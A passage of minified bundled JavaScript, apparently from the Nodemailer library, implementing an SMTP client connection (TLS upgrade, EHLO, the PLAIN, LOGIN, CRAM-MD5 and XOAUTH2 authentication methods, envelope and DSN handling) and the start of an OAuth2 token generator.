++n+"."+s.detectExtension(o)}),i+"cid:"+r})),t.data.html=a,e()}))}set(t,e){return this.meta.set(t,e)}get(t){return this.meta.get(t)}},ut}function Ct(){if(bt)return vt;bt=1;const t=J,i=e.EventEmitter,a=c,n=u,s=d,o=h,r=function(){if(xt)return gt;xt=1;const t=p.Transform;return gt=class extends t{constructor(t){super(t),this.options=t||{},this._curLine="",this.inByteCount=0,this.outByteCount=0,this.lastByte=!1}_transform(t,e,i){let a,n,s,o=[],r=0,p=0;if(!t||!t.length)return i();for("string"==typeof t&&(t=Buffer.from(t)),this.inByteCount+=t.length,a=0,n=t.length;a<n;a++)46===t[a]?(a&&10===t[a-1]||!a&&(!this.lastByte||10===this.lastByte))&&(s=t.slice(p,a+1),o.push(s),o.push(Buffer.from(".")),r+=s.length+1,p=a+1):10===t[a]&&(a&&13!==t[a-1]||!a&&13!==this.lastByte)&&(a>p?(s=t.slice(p,a),o.push(s),r+=s.length+2):r+=2,o.push(Buffer.from("\r\n")),p=a+1);r?(p<t.length&&(s=t.slice(p),o.push(s),r+=s.length),this.outByteCount+=r,this.push(Buffer.concat(o,r))):(this.outByteCount+=t.length,this.push(t)),this.lastByte=t[t.length-1],i()}_flush(t){let e;e=10===this.lastByte?Buffer.from(".\r\n"):13===this.lastByte?Buffer.from("\n.\r\n"):Buffer.from("\r\n.\r\n"),this.outByteCount+=e.length,this.push(e),t()}}}(),l=p.PassThrough,m=Y(),f=6e5;return vt=class extends i{constructor(e){super(e),this.id=o.randomBytes(8).toString("base64").replace(/\W/g,""),this.stage="init",this.options=e||{},this.secureConnection=!!this.options.secure,this.alreadySecured=!!this.options.secured,this.port=Number(this.options.port)||(this.secureConnection?465:587),this.host=this.options.host||"localhost",this.servername=this.options.servername?this.options.servername:!a.isIP(this.host)&&this.host,this.allowInternalNetworkInterfaces=this.options.allowInternalNetworkInterfaces||!1,void 0===this.options.secure&&465===this.port&&(this.secureConnection=!0),this.name=this.options.name||this._getHostname(),this.logger=m.getLogger(this.options,{component:this.options.component||"smtp-connection",sid:this.id}),this.customAuth=new Map,Object.keys(this.options.customAuth||{}).forEach((t=>{let e=(t||"").toString().trim().toUpperCase();e&&this.customAuth.set(e,this.options.customAuth[t])})),this.version=t.version,this.authenticated=!1,this.destroyed=!1,this.secure=!!this.secureConnection,this._remainder="",this._responseQueue=[],this.lastServerResponse=!1,this._socket=!1,this._supportedAuth=[],this.allowsAuth=!1,this._envelope=!1,this._supportedExtensions=[],this._maxAllowedSize=0,this._responseActions=[],this._recipientQueue=[],this._greetingTimeout=!1,this._connectionTimeout=!1,this._destroyed=!1,this._closing=!1,this._onSocketData=t=>this._onData(t),this._onSocketError=t=>this._onError(t,"ESOCKET",!1,"CONN"),this._onSocketClose=()=>this._onClose(),this._onSocketEnd=()=>this._onEnd(),this._onSocketTimeout=()=>this._onTimeout()}connect(t){if("function"==typeof t){this.once("connect",(()=>{this.logger.debug({tnx:"smtp"},"SMTP handshake finished"),t()}));const e=this._isDestroyedMessage("connect");if(e)return t(this._formatError(e,"ECONNECTION",!1,"CONN"))}let e={port:this.port,host:this.host,allowInternalNetworkInterfaces:this.allowInternalNetworkInterfaces,timeout:this.options.dnsTimeout||3e4};this.options.localAddress&&(e.localAddress=this.options.localAddress);let i=()=>{this._connectionTimeout=setTimeout((()=>{this._onError("Connection timeout","ETIMEDOUT",!1,"CONN")}),this.options.connectionTimeout||12e4),this._socket.on("error",this._onSocketError)};return this.options.connection?(this._socket=this.options.connection,void(this.secureConnection&&!this.alreadySecured?setImmediate((()=>this._upgradeConnection((t=>{t?this._onError(new Error("Error initiating TLS - "+(t.message||t)),"ETLS",!1,"CONN"):this._onConnect()})))):setImmediate((()=>this._onConnect())))):this.options.socket?(this._socket=this.options.socket,m.resolveHostname(e,((t,a)=>{if(t)return setImmediate((()=>this._onError(t,"EDNS",!1,"CONN")));this.logger.debug({tnx:"dns",source:e.host,resolved:a.host,cached:!!a.cached},"Resolved %s as %s [cache %s]",e.host,a.host,a.cached?"hit":"miss"),Object.keys(a).forEach((t=>{"_"!==t.charAt(0)&&a[t]&&(e[t]=a[t])}));try{this._socket.connect(this.port,this.host,(()=>{this._socket.setKeepAlive(!0),this._onConnect()})),i()}catch(t){return setImmediate((()=>this._onError(t,"ECONNECTION",!1,"CONN")))}}))):this.secureConnection?(this.options.tls&&Object.keys(this.options.tls).forEach((t=>{e[t]=this.options.tls[t]})),this.servername&&!e.servername&&(e.servername=this.servername),m.resolveHostname(e,((t,a)=>{if(t)return setImmediate((()=>this._onError(t,"EDNS",!1,"CONN")));this.logger.debug({tnx:"dns",source:e.host,resolved:a.host,cached:!!a.cached},"Resolved %s as %s [cache %s]",e.host,a.host,a.cached?"hit":"miss"),Object.keys(a).forEach((t=>{"_"!==t.charAt(0)&&a[t]&&(e[t]=a[t])}));try{this._socket=n.connect(e,(()=>{this._socket.setKeepAlive(!0),this._onConnect()})),i()}catch(t){return setImmediate((()=>this._onError(t,"ECONNECTION",!1,"CONN")))}}))):m.resolveHostname(e,((t,n)=>{if(t)return setImmediate((()=>this._onError(t,"EDNS",!1,"CONN")));this.logger.debug({tnx:"dns",source:e.host,resolved:n.host,cached:!!n.cached},"Resolved %s as %s [cache %s]",e.host,n.host,n.cached?"hit":"miss"),Object.keys(n).forEach((t=>{"_"!==t.charAt(0)&&n[t]&&(e[t]=n[t])}));try{this._socket=a.connect(e,(()=>{this._socket.setKeepAlive(!0),this._onConnect()})),i()}catch(t){return setImmediate((()=>this._onError(t,"ECONNECTION",!1,"CONN")))}}))}quit(){this._sendCommand("QUIT"),this._responseActions.push(this.close)}close(){if(clearTimeout(this._connectionTimeout),clearTimeout(this._greetingTimeout),this._responseActions=[],this._closing)return;this._closing=!0;let t="end";"init"===this.stage&&(t="destroy"),this.logger.debug({tnx:"smtp"},'Closing connection to the server using "%s"',t);let e=this._socket&&this._socket.socket||this._socket;if(e&&!e.destroyed)try{this._socket[t]()}catch(t){}this._destroy()}login(t,e){const i=this._isDestroyedMessage("login");if(i)return e(this._formatError(i,"ECONNECTION",!1,"API"));if(this._auth=t||{},this._authMethod=(this._auth.method||"").toString().trim().toUpperCase()||!1,this._authMethod||!this._auth.oauth2||this._auth.credentials?this._authMethod&&("XOAUTH2"!==this._authMethod||this._auth.oauth2)||(this._authMethod=(this._supportedAuth[0]||"PLAIN").toUpperCase().trim()):this._authMethod="XOAUTH2",!("XOAUTH2"===this._authMethod||this._auth.credentials&&this._auth.credentials.user&&this._auth.credentials.pass)){if(!(this._auth.user&&this._auth.pass||this.customAuth.has(this._authMethod)))return e(this._formatError('Missing credentials for "'+this._authMethod+'"',"EAUTH",!1,"API"));this._auth.credentials={user:this._auth.user,pass:this._auth.pass,options:this._auth.options}}if(!this.customAuth.has(this._authMethod)){switch(this._authMethod){case"XOAUTH2":return void this._handleXOauth2Token(!1,e);case"LOGIN":return this._responseActions.push((t=>{this._actionAUTH_LOGIN_USER(t,e)})),void this._sendCommand("AUTH LOGIN");case"PLAIN":return this._responseActions.push((t=>{this._actionAUTHComplete(t,e)})),void this._sendCommand("AUTH PLAIN "+Buffer.from("\0"+this._auth.credentials.user+"\0"+this._auth.credentials.pass,"utf-8").toString("base64"),"AUTH PLAIN "+Buffer.from("\0"+this._auth.credentials.user+"\0/* secret */","utf-8").toString("base64"));case"CRAM-MD5":return this._responseActions.push((t=>{this._actionAUTH_CRAM_MD5(t,e)})),void this._sendCommand("AUTH CRAM-MD5")}return e(this._formatError('Unknown authentication method "'+this._authMethod+'"',"EAUTH",!1,"API"))}{let t,i=this.customAuth.get(this._authMethod),a=!1,n=()=>{a||(a=!0,this.logger.info({tnx:"smtp",username:this._auth.user,action:"authenticated",method:this._authMethod},"User %s authenticated",JSON.stringify(this._auth.user)),this.authenticated=!0,e(null,!0))},s=i=>{a||(a=!0,e(this._formatError(i,"EAUTH",t,"AUTH "+this._authMethod)))},o=i({auth:this._auth,method:this._authMethod,extensions:[].concat(this._supportedExtensions),authMethods:[].concat(this._supportedAuth),maxAllowedSize:this._maxAllowedSize||!1,sendCommand:(e,i)=>{let a;return i||(a=new Promise(((t,e)=>{i=m.callbackPromise(t,e)}))),this._responseActions.push((a=>{t=a;let n=a.match(/^(\d+)(?:\s(\d+\.\d+\.\d+))?\s/),s={command:e,response:a};n?(s.status=Number(n[1])||0,n[2]&&(s.code=n[2]),s.text=a.substr(n[0].length)):(s.text=a,s.status=0),i(null,s)})),setImmediate((()=>this._sendCommand(e))),a},resolve:n,reject:s});o&&"function"==typeof o.catch&&o.then(n).catch(s)}}send(t,e,i){if(!e)return i(this._formatError("Empty message","EMESSAGE",!1,"API"));const a=this._isDestroyedMessage("send message");if(a)return i(this._formatError(a,"ECONNECTION",!1,"API"));if(this._maxAllowedSize&&t.size>this._maxAllowedSize)return setImmediate((()=>{i(this._formatError("Message size larger than allowed "+this._maxAllowedSize,"EMESSAGE",!1,"MAIL FROM"))}));let n=!1,s=function(){n||(n=!0,i(...arguments))};"function"==typeof e.on&&e.on("error",(t=>s(this._formatError(t,"ESTREAM",!1,"API"))));let o=Date.now();this._setEnvelope(t,((t,i)=>{if(t){let i=new l;return"function"==typeof e.pipe?e.pipe(i):(i.write(e),i.end()),s(t)}let a=Date.now(),n=this._createSendStream(((t,e)=>t?s(t):(i.envelopeTime=a-o,i.messageTime=Date.now()-a,i.messageSize=n.outByteCount,i.response=e,s(null,i))));"function"==typeof e.pipe?e.pipe(n):(n.write(e),n.end())}))}reset(t){this._sendCommand("RSET"),this._responseActions.push((e=>"2"!==e.charAt(0)?t(this._formatError("Could not reset session state. response="+e,"EPROTOCOL",e,"RSET")):(this._envelope=!1,t(null,!0))))}_onConnect(){clearTimeout(this._connectionTimeout),this.logger.info({tnx:"network",localAddress:this._socket.localAddress,localPort:this._socket.localPort,remoteAddress:this._socket.remoteAddress,remotePort:this._socket.remotePort},"%s established to %s:%s",this.secure?"Secure connection":"Connection",this._socket.remoteAddress,this._socket.remotePort),this._destroyed?this.close():(this.stage="connected",this._socket.removeListener("data",this._onSocketData),this._socket.removeListener("timeout",this._onSocketTimeout),this._socket.removeListener("close",this._onSocketClose),this._socket.removeListener("end",this._onSocketEnd),this._socket.on("data",this._onSocketData),this._socket.once("close",this._onSocketClose),this._socket.once("end",this._onSocketEnd),this._socket.setTimeout(this.options.socketTimeout||f),this._socket.on("timeout",this._onSocketTimeout),this._greetingTimeout=setTimeout((()=>{this._socket&&!this._destroyed&&this._responseActions[0]===this._actionGreeting&&this._onError("Greeting never received","ETIMEDOUT",!1,"CONN")}),this.options.greetingTimeout||3e4),this._responseActions.push(this._actionGreeting),this._socket.resume())}_onData(t){if(this._destroyed||!t||!t.length)return;let e,i=(t||"").toString("binary"),a=(this._remainder+i).split(/\r?\n/);this._remainder=a.pop();for(let t=0,i=a.length;t<i;t++)this._responseQueue.length&&(e=this._responseQueue[this._responseQueue.length-1],/^\d+-/.test(e.split("\n").pop()))?this._responseQueue[this._responseQueue.length-1]+="\n"+a[t]:this._responseQueue.push(a[t]);this._responseQueue.length&&(e=this._responseQueue[this._responseQueue.length-1],/^\d+-/.test(e.split("\n").pop()))||this._processResponse()}_onError(t,e,i,a){clearTimeout(this._connectionTimeout),clearTimeout(this._greetingTimeout),this._destroyed||(t=this._formatError(t,e,i,a),this.logger.error(i,t.message),this.emit("error",t),this.close())}_formatError(t,e,i,a){let n;n=/Error\]$/i.test(Object.prototype.toString.call(t))?t:new Error(t),e&&"Error"!==e&&(n.code=e),i&&(n.response=i,n.message+=": "+i);let s="string"==typeof i&&Number((i.match(/^\d+/)||[])[0])||!1;return s&&(n.responseCode=s),a&&(n.command=a),n}_onClose(){let t=!1;return this._remainder&&this._remainder.trim()&&((this.options.debug||this.options.transactionLog)&&this.logger.debug({tnx:"server"},this._remainder.replace(/\r?\n$/,"")),this.lastServerResponse=t=this._remainder.trim()),this.logger.info({tnx:"network"},"Connection closed"),this.upgrading&&!this._destroyed?this._onError(new Error("Connection closed unexpectedly"),"ETLS",t,"CONN"):[this._actionGreeting,this.close].includes(this._responseActions[0])||this._destroyed?/^[45]\d{2}\b/.test(t)?this._onError(new Error("Connection closed unexpectedly"),"ECONNECTION",t,"CONN"):void this._destroy():this._onError(new Error("Connection closed unexpectedly"),"ECONNECTION",t,"CONN")}_onEnd(){this._socket&&!this._socket.destroyed&&this._socket.destroy()}_onTimeout(){return this._onError(new Error("Timeout"),"ETIMEDOUT",!1,"CONN")}_destroy(){this._destroyed||(this._destroyed=!0,this.emit("end"))}_upgradeConnection(t){this._socket.removeListener("data",this._onSocketData),this._socket.removeListener("timeout",this._onSocketTimeout);let e=this._socket,i={socket:this._socket,host:this.host};Object.keys(this.options.tls||{}).forEach((t=>{i[t]=this.options.tls[t]})),this.servername&&!i.servername&&(i.servername=this.servername),this.upgrading=!0;try{this._socket=n.connect(i,(()=>(this.secure=!0,this.upgrading=!1,this._socket.on("data",this._onSocketData),e.removeListener("close",this._onSocketClose),e.removeListener("end",this._onSocketEnd),t(null,!0))))}catch(e){return t(e)}this._socket.on("error",this._onSocketError),this._socket.once("close",this._onSocketClose),this._socket.once("end",this._onSocketEnd),this._socket.setTimeout(this.options.socketTimeout||f),this._socket.on("timeout",this._onSocketTimeout),e.resume()}_processResponse(){if(!this._responseQueue.length)return!1;let t=this.lastServerResponse=(this._responseQueue.shift()||"").toString();if(/^\d+-/.test(t.split("\n").pop()))return;(this.options.debug||this.options.transactionLog)&&this.logger.debug({tnx:"server"},t.replace(/\r?\n$/,"")),t.trim()||setImmediate((()=>this._processResponse()));let e=this._responseActions.shift();if("function"!=typeof e)return this._onError(new Error("Unexpected Response"),"EPROTOCOL",t,"CONN");e.call(this,t),setImmediate((()=>this._processResponse()))}_sendCommand(t,e){if(!this._destroyed){if(this._socket.destroyed)return this.close();(this.options.debug||this.options.transactionLog)&&this.logger.debug({tnx:"client"},(e||t||"").toString().replace(/\r?\n$/,"")),this._socket.write(Buffer.from(t+"\r\n","utf-8"))}}_setEnvelope(t,e){let i=[],a=!1;if(this._envelope=t||{},this._envelope.from=(this._envelope.from&&this._envelope.from.address||this._envelope.from||"").toString().trim(),this._envelope.to=[].concat(this._envelope.to||[]).map((t=>(t&&t.address||t||"").toString().trim())),!this._envelope.to.length)return e(this._formatError("No recipients defined","EENVELOPE",!1,"API"));if(this._envelope.from&&/[\r\n<>]/.test(this._envelope.from))return e(this._formatError("Invalid sender "+JSON.stringify(this._envelope.from),"EENVELOPE",!1,"API"));/[\x80-\uFFFF]/.test(this._envelope.from)&&(a=!0);for(let t=0,i=this._envelope.to.length;t<i;t++){if(!this._envelope.to[t]||/[\r\n<>]/.test(this._envelope.to[t]))return e(this._formatError("Invalid recipient "+JSON.stringify(this._envelope.to[t]),"EENVELOPE",!1,"API"));/[\x80-\uFFFF]/.test(this._envelope.to[t])&&(a=!0)}if(this._envelope.rcptQueue=JSON.parse(JSON.stringify(this._envelope.to||[])),this._envelope.rejected=[],this._envelope.rejectedErrors=[],this._envelope.accepted=[],this._envelope.dsn)try{this._envelope.dsn=this._setDsnEnvelope(this._envelope.dsn)}catch(t){return e(this._formatError("Invalid DSN "+t.message,"EENVELOPE",!1,"API"))}this._responseActions.push((t=>{this._actionMAIL(t,e)})),a&&this._supportedExtensions.includes("SMTPUTF8")&&(i.push("SMTPUTF8"),this._usingSmtpUtf8=!0),this._envelope.use8BitMime&&this._supportedExtensions.includes("8BITMIME")&&(i.push("BODY=8BITMIME"),this._using8BitMime=!0),this._envelope.size&&this._supportedExtensions.includes("SIZE")&&i.push("SIZE="+this._envelope.size),this._envelope.dsn&&this._supportedExtensions.includes("DSN")&&(this._envelope.dsn.ret&&i.push("RET="+m.encodeXText(this._envelope.dsn.ret)),this._envelope.dsn.envid&&i.push("ENVID="+m.encodeXText(this._envelope.dsn.envid))),this._sendCommand("MAIL FROM:<"+this._envelope.from+">"+(i.length?" "+i.join(" "):""))}_setDsnEnvelope(t){let e=(t.ret||t.return||"").toString().toUpperCase()||null;if(e)switch(e){case"HDRS":case"HEADERS":e="HDRS";break;case"FULL":case"BODY":e="FULL"}if(e&&!["FULL","HDRS"].includes(e))throw new Error("ret: "+JSON.stringify(e));let i=(t.envid||t.id||"").toString()||null,a=t.notify||null;if(a){"string"==typeof a&&(a=a.split(",")),a=a.map((t=>t.trim().toUpperCase()));let t=["NEVER","SUCCESS","FAILURE","DELAY"];if(a.filter((e=>!t.includes(e))).length||a.length>1&&a.includes("NEVER"))throw new Error("notify: "+JSON.stringify(a.join(",")));a=a.join(",")}let n=(t.recipient||t.orcpt||"").toString()||null;return n&&n.indexOf(";")<0&&(n="rfc822;"+n),{ret:e,envid:i,notify:a,orcpt:n}}_getDsnRcptToArgs(){let t=[];return this._envelope.dsn&&this._supportedExtensions.includes("DSN")&&(this._envelope.dsn.notify&&t.push("NOTIFY="+m.encodeXText(this._envelope.dsn.notify)),this._envelope.dsn.orcpt&&t.push("ORCPT="+m.encodeXText(this._envelope.dsn.orcpt))),t.length?" "+t.join(" "):""}_createSendStream(t){let e,i=new r;return this.options.lmtp?this._envelope.accepted.forEach(((e,i)=>{let a=i===this._envelope.accepted.length-1;this._responseActions.push((i=>{this._actionLMTPStream(e,a,i,t)}))})):this._responseActions.push((e=>{this._actionSMTPStream(e,t)})),i.pipe(this._socket,{end:!1}),this.options.debug&&(e=new l,e.on("readable",(()=>{let t;for(;t=e.read();)this.logger.debug({tnx:"message"},t.toString("binary").replace(/\r?\n$/,""))})),i.pipe(e)),i.once("end",(()=>{this.logger.info({tnx:"message",inByteCount:i.inByteCount,outByteCount:i.outByteCount},"<%s bytes encoded mime message (source size %s bytes)>",i.outByteCount,i.inByteCount)})),i}_actionGreeting(t){clearTimeout(this._greetingTimeout),"220"===t.substr(0,3)?this.options.lmtp?(this._responseActions.push(this._actionLHLO),this._sendCommand("LHLO "+this.name)):(this._responseActions.push(this._actionEHLO),this._sendCommand("EHLO "+this.name)):this._onError(new Error("Invalid greeting. response="+t),"EPROTOCOL",t,"CONN")}_actionLHLO(t){"2"===t.charAt(0)?this._actionEHLO(t):this._onError(new Error("Invalid LHLO. response="+t),"EPROTOCOL",t,"LHLO")}_actionEHLO(t){let e;if("421"!==t.substr(0,3)){if("2"!==t.charAt(0))return this.options.requireTLS?void this._onError(new Error("EHLO failed but HELO does not support required STARTTLS. response="+t),"ECONNECTION",t,"EHLO"):(this._responseActions.push(this._actionHELO),void this._sendCommand("HELO "+this.name));if(this._ehloLines=t.split(/\r?\n/).map((t=>t.replace(/^\d+[ -]/,"").trim())).filter((t=>t)).slice(1),!this.secure&&!this.options.ignoreTLS&&(/[ -]STARTTLS\b/im.test(t)||this.options.requireTLS))return this._sendCommand("STARTTLS"),void this._responseActions.push(this._actionSTARTTLS);/[ -]SMTPUTF8\b/im.test(t)&&this._supportedExtensions.push("SMTPUTF8"),/[ -]DSN\b/im.test(t)&&this._supportedExtensions.push("DSN"),/[ -]8BITMIME\b/im.test(t)&&this._supportedExtensions.push("8BITMIME"),/[ -]PIPELINING\b/im.test(t)&&this._supportedExtensions.push("PIPELINING"),/[ -]AUTH\b/i.test(t)&&(this.allowsAuth=!0),/[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)PLAIN/i.test(t)&&this._supportedAuth.push("PLAIN"),/[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)LOGIN/i.test(t)&&this._supportedAuth.push("LOGIN"),/[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)CRAM-MD5/i.test(t)&&this._supportedAuth.push("CRAM-MD5"),/[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)XOAUTH2/i.test(t)&&this._supportedAuth.push("XOAUTH2"),(e=t.match(/[ -]SIZE(?:[ \t]+(\d+))?/im))&&(this._supportedExtensions.push("SIZE"),this._maxAllowedSize=Number(e[1])||0),this.emit("connect")}else this._onError(new Error("Server terminates connection. response="+t),"ECONNECTION",t,"EHLO")}_actionHELO(t){"2"===t.charAt(0)?(this.allowsAuth=!0,this.emit("connect")):this._onError(new Error("Invalid HELO. response="+t),"EPROTOCOL",t,"HELO")}_actionSTARTTLS(t){if("2"!==t.charAt(0))return this.options.opportunisticTLS?(this.logger.info({tnx:"smtp"},"Failed STARTTLS upgrade, continuing unencrypted"),this.emit("connect")):void this._onError(new Error("Error upgrading connection with STARTTLS"),"ETLS",t,"STARTTLS");this._upgradeConnection(((t,e)=>{t?this._onError(new Error("Error initiating TLS - "+(t.message||t)),"ETLS",!1,"STARTTLS"):(this.logger.info({tnx:"smtp"},"Connection upgraded with STARTTLS"),e?this.options.lmtp?(this._responseActions.push(this._actionLHLO),this._sendCommand("LHLO "+this.name)):(this._responseActions.push(this._actionEHLO),this._sendCommand("EHLO "+this.name)):this.emit("connect"))}))}_actionAUTH_LOGIN_USER(t,e){/^334[ -]/.test(t)?(this._responseActions.push((t=>{this._actionAUTH_LOGIN_PASS(t,e)})),this._sendCommand(Buffer.from(this._auth.credentials.user+"","utf-8").toString("base64"))):e(this._formatError('Invalid login sequence while waiting for "334 VXNlcm5hbWU6"',"EAUTH",t,"AUTH LOGIN"))}_actionAUTH_CRAM_MD5(t,e){let i=t.match(/^334\s+(.+)$/),a="";if(!i)return e(this._formatError("Invalid login sequence while waiting for server challenge string","EAUTH",t,"AUTH CRAM-MD5"));a=i[1];let n=Buffer.from(a,"base64").toString("ascii"),s=o.createHmac("md5",this._auth.credentials.pass);s.update(n);let r=this._auth.credentials.user+" "+s.digest("hex");this._responseActions.push((t=>{this._actionAUTH_CRAM_MD5_PASS(t,e)})),this._sendCommand(Buffer.from(r).toString("base64"),Buffer.from(this._auth.credentials.user+" /* secret */").toString("base64"))}_actionAUTH_CRAM_MD5_PASS(t,e){if(!t.match(/^235\s+/))return e(this._formatError('Invalid login sequence while waiting for "235"',"EAUTH",t,"AUTH CRAM-MD5"));this.logger.info({tnx:"smtp",username:this._auth.user,action:"authenticated",method:this._authMethod},"User %s authenticated",JSON.stringify(this._auth.user)),this.authenticated=!0,e(null,!0)}_actionAUTH_LOGIN_PASS(t,e){if(!/^334[ -]/.test(t))return e(this._formatError('Invalid login sequence while waiting for "334 UGFzc3dvcmQ6"',"EAUTH",t,"AUTH LOGIN"));this._responseActions.push((t=>{this._actionAUTHComplete(t,e)})),this._sendCommand(Buffer.from((this._auth.credentials.pass||"").toString(),"utf-8").toString("base64"),Buffer.from("/* secret */","utf-8").toString("base64"))}_actionAUTHComplete(t,e,i){return i||"function"!=typeof e||(i=e,e=!1),"334"===t.substr(0,3)?(this._responseActions.push((t=>{e||"XOAUTH2"!==this._authMethod?this._actionAUTHComplete(t,!0,i):setImmediate((()=>this._handleXOauth2Token(!0,i)))})),void this._sendCommand("")):"2"!==t.charAt(0)?(this.logger.info({tnx:"smtp",username:this._auth.user,action:"authfail",method:this._authMethod},"User %s failed to authenticate",JSON.stringify(this._auth.user)),i(this._formatError("Invalid login","EAUTH",t,"AUTH "+this._authMethod))):(this.logger.info({tnx:"smtp",username:this._auth.user,action:"authenticated",method:this._authMethod},"User %s authenticated",JSON.stringify(this._auth.user)),this.authenticated=!0,void i(null,!0))}_actionMAIL(t,e){let i,a;if(2!==Number(t.charAt(0)))return i=this._usingSmtpUtf8&&/^550 /.test(t)&&/[\x80-\uFFFF]/.test(this._envelope.from)?"Internationalized mailbox name not allowed":"Mail command failed",e(this._formatError(i,"EENVELOPE",t,"MAIL FROM"));if(!this._envelope.rcptQueue.length)return e(this._formatError("Can't send mail - no recipients defined","EENVELOPE",!1,"API"));if(this._recipientQueue=[],this._supportedExtensions.includes("PIPELINING"))for(;this._envelope.rcptQueue.length;)a=this._envelope.rcptQueue.shift(),this._recipientQueue.push(a),this._responseActions.push((t=>{this._actionRCPT(t,e)})),this._sendCommand("RCPT TO:<"+a+">"+this._getDsnRcptToArgs());else a=this._envelope.rcptQueue.shift(),this._recipientQueue.push(a),this._responseActions.push((t=>{this._actionRCPT(t,e)})),this._sendCommand("RCPT TO:<"+a+">"+this._getDsnRcptToArgs())}_actionRCPT(t,e){let i,a,n=this._recipientQueue.shift();if(2!==Number(t.charAt(0))?(i=this._usingSmtpUtf8&&/^553 /.test(t)&&/[\x80-\uFFFF]/.test(n)?"Internationalized mailbox name not allowed":"Recipient command failed",this._envelope.rejected.push(n),a=this._formatError(i,"EENVELOPE",t,"RCPT TO"),a.recipient=n,this._envelope.rejectedErrors.push(a)):this._envelope.accepted.push(n),this._envelope.rcptQueue.length||this._recipientQueue.length)this._envelope.rcptQueue.length&&(n=this._envelope.rcptQueue.shift(),this._recipientQueue.push(n),this._responseActions.push((t=>{this._actionRCPT(t,e)})),this._sendCommand("RCPT TO:<"+n+">"+this._getDsnRcptToArgs()));else{if(!(this._envelope.rejected.length<this._envelope.to.length))return a=this._formatError("Can't send mail - all recipients were rejected","EENVELOPE",t,"RCPT TO"),a.rejected=this._envelope.rejected,a.rejectedErrors=this._envelope.rejectedErrors,e(a);this._responseActions.push((t=>{this._actionDATA(t,e)})),this._sendCommand("DATA")}}_actionDATA(t,e){if(!/^[23]/.test(t))return e(this._formatError("Data command failed","EENVELOPE",t,"DATA"));let i={accepted:this._envelope.accepted,rejected:this._envelope.rejected};this._ehloLines&&this._ehloLines.length&&(i.ehlo=this._ehloLines),this._envelope.rejectedErrors.length&&(i.rejectedErrors=this._envelope.rejectedErrors),e(null,i)}_actionSMTPStream(t,e){return 2!==Number(t.charAt(0))?e(this._formatError("Message failed","EMESSAGE",t,"DATA")):e(null,t)}_actionLMTPStream(t,e,i,a){let n;if(2!==Number(i.charAt(0))){n=this._formatError("Message failed for recipient "+t,"EMESSAGE",i,"DATA"),n.recipient=t,this._envelope.rejected.push(t),this._envelope.rejectedErrors.push(n);for(let e=0,i=this._envelope.accepted.length;e<i;e++)this._envelope.accepted[e]===t&&this._envelope.accepted.splice(e,1)}if(e)return a(null,i)}_handleXOauth2Token(t,e){this._auth.oauth2.getToken(t,((i,a)=>{if(i)return this.logger.info({tnx:"smtp",username:this._auth.user,action:"authfail",method:this._authMethod},"User %s failed to authenticate",JSON.stringify(this._auth.user)),e(this._formatError(i,"EAUTH",!1,"AUTH XOAUTH2"));this._responseActions.push((i=>{this._actionAUTHComplete(i,t,e)})),this._sendCommand("AUTH XOAUTH2 "+this._auth.oauth2.buildXOAuth2Token(a),"AUTH XOAUTH2 "+this._auth.oauth2.buildXOAuth2Token("/* secret */"))}))}_isDestroyedMessage(t){if(this._destroyed)return"Cannot "+t+" - smtp connection is already destroyed.";if(this._socket){if(this._socket.destroyed)return"Cannot "+t+" - smtp connection socket is already destroyed.";if(!this._socket.writable)return"Cannot "+t+" - smtp connection socket is already half-closed."}}_getHostname(){let t;try{t=s.hostname()||""}catch(e){t="localhost"}return(!t||t.indexOf(".")<0)&&(t="[127.0.0.1]"),t.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)&&(t="["+t+"]"),t}},vt}function jt(){if(yt)return wt;yt=1;const t=p.Stream,e=W(),i=h,a=Y();return wt=class extends t{constructor(t,e){if(super(),this.options=t||{},t&&t.serviceClient){if(!t.privateKey||!t.user)return void setImmediate((()=>this.emit("error",new Error('Options "privateKey" and "user" are required for service account!'))));let e=Math.min(Math.max(Number(this.options.serviceRequestTimeout)||0,0),3600);this.options.serviceRequestTimeout=e||300}if(this.logger=a.getLogger({logger:e},{component:this.options.component||"OAuth2"}),this.provisionCallback="function"==typeof this.options.provisionCallback&&this.options.provisionCallback,this.options.accessUrl=this.options.accessUrl||"https://accounts.google.com/o/oauth2/token",this.options.customHeaders=this.options.customHeaders||{},this.options.customParams=this.options.customParams||{},this.accessToken=this.options.accessToken||!1,this.options.expires&&Number(this.options.expires))this.expires=this.options.expires;else{let t=Math.max(Number(this.options.timeout)||0,0);this.expires=t&&Date.now()+1e3*t||0}}getToken(t,e){if(!t&&this.accessToken&&(!this.expires||this.expires>Date.now()))return e(null,this.accessToken);let i=(...t)=>{t[0]?this.logger.error({err:t[0],tnx:"OAUTH2",user:this.options.user,action:"renew"},"Failed generating new Access Token for %s",this.options.user):this.logger.info({tnx:"OAUTH2",user:this.options.user,action:"renew"},"Generated new Access Token for %s",this.options.user),e(...t)};this.provisionCallback?this.provisionCallback(this.options.user,!!t,((t,e,a)=>{!t&&e&&(this.accessToken=e,this.expires=a||0),i(t,e)})):this.generateToken(i)}updateToken(t,e){this.accessToken=t,e=Math.max(Number(e)||0,0),this.expires=e&&Date.now()+1e3*e||0,this.emit("token",{user:this.options.user,accessToken:t||"",expires:this.expires})}generateToken(t){let e,i;if(this.options.serviceClient){let a,n=Math.floor(Date.now()/1e3),s={iss:this.options.serviceClient,scope:this.options.scope||"https://mail.google.com/",sub:this.options.user,aud:this.options.accessUrl,iat:n,exp:n+this.options.serviceRequestTimeout};try{a=this.jwtSignRS256(s)}catch(e){return t(new Error("Can't generate token. Check your auth options"))}e={grant_type:"urn:ietf:params:oauth:grant-type:jwt-bearer",assertion:a},i={grant_type:"urn:ietf:params:oauth:grant-type:jwt-bearer",assertion:s}}else{if(!this.options.refreshToken)return t(new Error("Can't create new access token for user"));e={client_id:this.options.clientId||"",client_secret:this.options.clientSecret||"",refresh_token:this.options.refreshToken,grant_type:"refresh_token"},i={client_id:this.options.clientId||"",client_secret:(this.options.clientSecret||"").substr(0,6)+"...",refresh_token:(this.options.refreshToken||"").substr(0,6)+"...",grant_type:"refresh_token"}}Object.keys(this.options.customParams).forEach((t=>{e[t]=this.options.customParams[t],i[t]=this.options.customParams[t]})),this.logger.debug({tnx:"OAUTH2",user:this.options.user,action:"generate"},"Requesting token using: %s",JSON.stringify(i)),this.postRequest(this.options.accessUrl,e,this.options,((e,i)=>{let 